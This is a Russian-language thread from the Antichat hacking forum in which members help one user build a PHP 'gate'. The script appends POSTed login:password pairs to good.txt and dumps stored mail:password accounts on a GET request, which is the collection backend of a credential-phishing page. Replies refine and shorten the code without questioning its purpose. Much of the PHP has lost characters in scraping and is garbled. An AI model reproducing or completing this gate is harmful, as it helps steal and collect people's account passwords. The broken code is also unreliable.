ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

yнужен скрипт [PHP]
  #1  
Старый 25.02.2010, 19:20
Аватар для RedFern.89
RedFern.89
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
Провел на форуме:
500264

Репутация: 69
Отправить сообщение для RedFern.89 с помощью ICQ
По умолчанию yнужен скрипт [PHP]

например у меня на сервере лежит файл Accounts.txt bи есть файл gate.php


файл Accounts.txt cсодержит данные следующего типа:
Код:
mail:password
Задача. как сгенерировать html-страницу, с содержанием файла, если я подам GET-запрос на сервер следующим образом: http://domainname.com/gate.php?act=showaccs

???
 
Ответить с цитированием

  #2  
Старый 25.02.2010, 19:30
Аватар для LStr1ke
LStr1ke
Постоянный
Регистрация: 29.07.2009
Сообщений: 400
Провел на форуме:
1455812

Репутация: 150
По умолчанию

#1
PHP код:
<?php
if(isset($_GET['act']) && $_GET['act'] == 'showaccs') {
$file str_replace("\n",'<br />'file_get_contents('accounts.txt'));
echo 
$file;
}
?>
#2
PHP код:
<?php
if(isset($_GET['act']) && $_GET['act'] == 'showaccs') {
$file file("accounts.txt");
foreach(
$file as $line) {
echo 
$line."<br />";
}
}
?>
 
Ответить с цитированием

  #3  
Старый 25.02.2010, 19:35
Аватар для RedFern.89
RedFern.89
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
Провел на форуме:
500264

Репутация: 69
Отправить сообщение для RedFern.89 с помощью ICQ
По умолчанию

вот еще вопрос. Даже при пустом запросе, lдобавляются знаки : в файл. Как этого избежать?


PHP код:
<?php
error_reporting
(0);
$accs 'good.txt';
$good fopen($accs,"a+");
fwrite($good"$_POST[login]:$_POST[password]\n");
fclose($good);
fclose($bad);
if(isset(
$_GET['act']) && $_GET['act'] == 'show') {
$file str_replace("\n",'<br />'file_get_contents('good.txt'));
echo 
$file;

?>
 
Ответить с цитированием

  #4  
Старый 25.02.2010, 19:39
Аватар для LStr1ke
LStr1ke
Постоянный
Регистрация: 29.07.2009
Сообщений: 400
Провел на форуме:
1455812

Репутация: 150
По умолчанию

Поставь вначале проверку.
PHP код:
if(!empty($_POST['login']) && !empty($_POST['password'])) ... 
Но будет пропускать пробелы.
 
Ответить с цитированием

  #5  
Старый 25.02.2010, 20:17
Аватар для RedFern.89
RedFern.89
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
Провел на форуме:
500264

Репутация: 69
Отправить сообщение для RedFern.89 с помощью ICQ
По умолчанию

а теперь как бы все это совместить?))
 
Ответить с цитированием

  #6  
Старый 25.02.2010, 20:55
Аватар для Dark_cracker
Dark_cracker
Познающий
Регистрация: 29.05.2009
Сообщений: 55
Провел на форуме:
807573

Репутация: 7
По умолчанию

Вот так )
PHP код:
<?php 
error_reporting
(0); 
if (!empty(
$_POST[login]) or !empty($_POST[password])){
$accs 'good.txt'
$good fopen($accs,"a+"); 
fwrite($good"$_POST[login]:$_POST[password]\n"); 
fclose($good); 
fclose($bad); 
if(isset(
$_GET['act']) && $_GET['act'] == 'show') { 
$file str_replace("\n",'<br />'file_get_contents('good.txt')); 
echo 
$file
}  
}
?>
ток поидее перенос строки будет \r\n а у тебя прост \n
 
Ответить с цитированием

  #7  
Старый 25.02.2010, 20:59
Аватар для mailbrush
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Омг...
PHP код:
if(@$_GET['act']=='showaccs')
echo 
nl2br(file_get_contents('accounts.txt')); 
 
Ответить с цитированием

  #8  
Старый 25.02.2010, 21:09
Аватар для AdReNa1!Ne
AdReNa1!Ne
Участник форума
Регистрация: 24.05.2007
Сообщений: 229
Провел на форуме:
2308963

Репутация: 309
Отправить сообщение для AdReNa1!Ne с помощью ICQ
По умолчанию

А не проще
PHP код:
<?php
if ($_POST[login] && $_POST[password])
{
     ...
}
 
Ответить с цитированием

  #9  
Старый 25.02.2010, 23:50
Аватар для LStr1ke
LStr1ke
Постоянный
Регистрация: 29.07.2009
Сообщений: 400
Провел на форуме:
1455812

Репутация: 150
По умолчанию

Цитата:
Сообщение от mailbrush  
Омг...
PHP код:
if(@$_GET['act']=='showaccs')
echo 
nl2br(file_get_contents('accounts.txt')); 
омг
PHP код:
echo @$_GET['act']=='showaccs' nl2br(file_get_contents('pppp.txt'))  : '' 
 
Ответить с цитированием

  #10  
Старый 25.02.2010, 23:54
Аватар для mailbrush
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Цитата:
Сообщение от LStr1ke  
омг
PHP код:
echo @$_GET['act']=='showaccs' nl2br(file_get_contents('pppp.txt'))  : '' 
Омг
PHP код:
echo @$_GET['act']=='showaccs' nl2br(file_get_contents('pppp.txt'))  : 0
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Скрипт приглашения Вконтакте (инвайтер в группы) [php] ukanbu Социальные сети 269 08.06.2010 13:07



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ